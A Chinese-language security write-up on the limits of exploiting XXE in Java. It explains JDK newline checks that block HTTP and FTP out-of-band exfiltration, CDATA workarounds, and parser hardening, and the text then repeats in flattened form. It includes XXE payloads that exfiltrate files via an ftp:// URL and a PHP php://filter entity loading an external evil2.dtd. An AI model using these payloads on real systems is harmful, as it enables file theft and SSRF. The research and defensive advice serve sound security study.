关于Java 中 XXE 的利用限制探究
字数 1237 2025-08-13 21:33:22

Java中XXE漏洞利用限制与绕过技术研究

1. XXE基础概念

XXE (XML External Entity) 漏洞是一种XML解析漏洞,允许攻击者通过外部实体声明读取服务器上的任意文件或发起SSRF攻击。

2. Java中XXE利用场景分类

2.1 有回显的XXE

  • 普通文件读取:直接通过实体声明读取并回显
  • 带换行文件读取:同样可以直接回显
  • 含特殊字符文件读取:需要使用CDATA技术

2.2 无回显的XXE (Blind XXE)

  • 普通文件读取:可通过HTTP或FTP协议外带数据
  • 带换行文件读取:只能通过FTP协议外带
  • 含特殊字符文件:目前没有完美解决方案
  • 含特殊字符且有换行文件:目前没有完美解决方案

3. Java中XXE利用的限制

3.1 HTTP协议限制

rt.jar!\sun\net\www\http\HttpClient.class中420行存在对换行的判断:

if (var1.indexOf(10) == -1) {
    return var1;
} else {
    throw new MalformedURLException("Illegal character in URL");
}

影响:无法通过HTTP协议外带包含换行符的文件内容。

3.2 FTP协议限制

rt.jar!\sun\net\www\protocol\ftp\FtpURLConnection.class中:

static URL checkURL(URL var0) throws IllegalArgumentException {
    if (var0 != null && var0.toExternalForm().indexOf(10) > -1) {
        MalformedURLException var3 = new MalformedURLException("Illegal character in URL");
        throw new IllegalArgumentException(var3.getMessage(), var3);
    }
    // ...
}

影响:高版本JDK中FTP协议也无法外带包含换行符的文件内容。

3.3 特殊字符问题

当文件中包含以下字符时会导致XML解析错误:

  • 单引号 '
  • 双引号 "
  • 尖括号 < >
  • 与符号 &

报错信息实体XXX的声明必须以>结尾

4. 绕过技术

4.1 有回显情况下的CDATA技术

CDATA (Character Data) 部分中的所有内容都会被解析器忽略,格式:

<![CDATA[不被解析的内容]]>

利用方法

<!ENTITY % start "<![CDATA[">
<!ENTITY % end "]]>">
<!ENTITY % c "<!ENTITY &#37; rrr SYSTEM 'ftp://xxxx/%start;%r;%end;'>">

限制

  1. 仍需要拼接到URL中,会与外部的单引号闭合
  2. 对单独的&符号无效(除非构成完整的实体引用格式)

4.2 PHP环境的优势

PHP中可以使用php://filter进行编码转换:

<!DOCTYPE root [
<!ENTITY % file SYSTEM "php://filter/convert.base64-encode/resource=c:/windows/win.ini">
<!ENTITY % dtd SYSTEM "http://127.0.0.1/evil2.dtd">
%dtd;
%send;
]>

5. JDK版本影响

  • 低版本JDK:可以使用FTP协议外带含换行符的文件
  • 高版本JDK:FtpURLConnection增加了换行符检查,无法使用FTP外带含换行符的文件

注意:具体从哪个版本开始检查换行符未明确说明,需要进一步研究。

6. 总结与利用矩阵

文件类型 有回显 无回显
普通文件 直接读取 HTTP/FTP外带
带换行文件 直接读取 FTP外带(低版本)
含特殊字符文件 CDATA技术 无完美方案
含特殊字符+换行 CDATA技术 无完美方案

7. 防御建议

  1. 禁用外部实体解析:

    DocumentBuilderFactory dbf = DocumentBuilderFactory.newInstance();
    dbf.setFeature("http://xml.org/sax/features/external-general-entities", false);
    dbf.setFeature("http://xml.org/sax/features/external-parameter-entities", false);
    
  2. 使用高版本JDK(限制FTP协议利用)

  3. 输入验证和过滤

  4. 使用安全的XML解析库

8. 研究展望

  1. 寻找在Java环境中处理含特殊字符文件外带的新方法
  2. 深入研究不同JDK版本对XXE利用的限制变化
  3. 探索除HTTP/FTP外的其他数据外带通道
Java中XXE漏洞利用限制与绕过技术研究 1. XXE基础概念 XXE (XML External Entity) 漏洞是一种XML解析漏洞,允许攻击者通过外部实体声明读取服务器上的任意文件或发起SSRF攻击。 2. Java中XXE利用场景分类 2.1 有回显的XXE 普通文件读取 :直接通过实体声明读取并回显 带换行文件读取 :同样可以直接回显 含特殊字符文件读取 :需要使用CDATA技术 2.2 无回显的XXE (Blind XXE) 普通文件读取 :可通过HTTP或FTP协议外带数据 带换行文件读取 :只能通过FTP协议外带 含特殊字符文件 :目前没有完美解决方案 含特殊字符且有换行文件 :目前没有完美解决方案 3. Java中XXE利用的限制 3.1 HTTP协议限制 在 rt.jar!\sun\net\www\http\HttpClient.class 中420行存在对换行的判断: 影响 :无法通过HTTP协议外带包含换行符的文件内容。 3.2 FTP协议限制 在 rt.jar!\sun\net\www\protocol\ftp\FtpURLConnection.class 中: 影响 :高版本JDK中FTP协议也无法外带包含换行符的文件内容。 3.3 特殊字符问题 当文件中包含以下字符时会导致XML解析错误: 单引号 ' 双引号 " 尖括号 < > 与符号 & 报错信息 : 实体XXX的声明必须以>结尾 4. 绕过技术 4.1 有回显情况下的CDATA技术 CDATA (Character Data) 部分中的所有内容都会被解析器忽略,格式: 利用方法 : 限制 : 仍需要拼接到URL中,会与外部的单引号闭合 对单独的 & 符号无效(除非构成完整的实体引用格式) 4.2 PHP环境的优势 PHP中可以使用 php://filter 进行编码转换: 5. JDK版本影响 低版本JDK :可以使用FTP协议外带含换行符的文件 高版本JDK :FtpURLConnection增加了换行符检查,无法使用FTP外带含换行符的文件 注意 :具体从哪个版本开始检查换行符未明确说明,需要进一步研究。 6. 总结与利用矩阵 | 文件类型 | 有回显 | 无回显 | |---------|-------|-------| | 普通文件 | 直接读取 | HTTP/FTP外带 | | 带换行文件 | 直接读取 | FTP外带(低版本) | | 含特殊字符文件 | CDATA技术 | 无完美方案 | | 含特殊字符+换行 | CDATA技术 | 无完美方案 | 7. 防御建议 禁用外部实体解析: 使用高版本JDK(限制FTP协议利用) 输入验证和过滤 使用安全的XML解析库 8. 研究展望 寻找在Java环境中处理含特殊字符文件外带的新方法 深入研究不同JDK版本对XXE利用的限制变化 探索除HTTP/FTP外的其他数据外带通道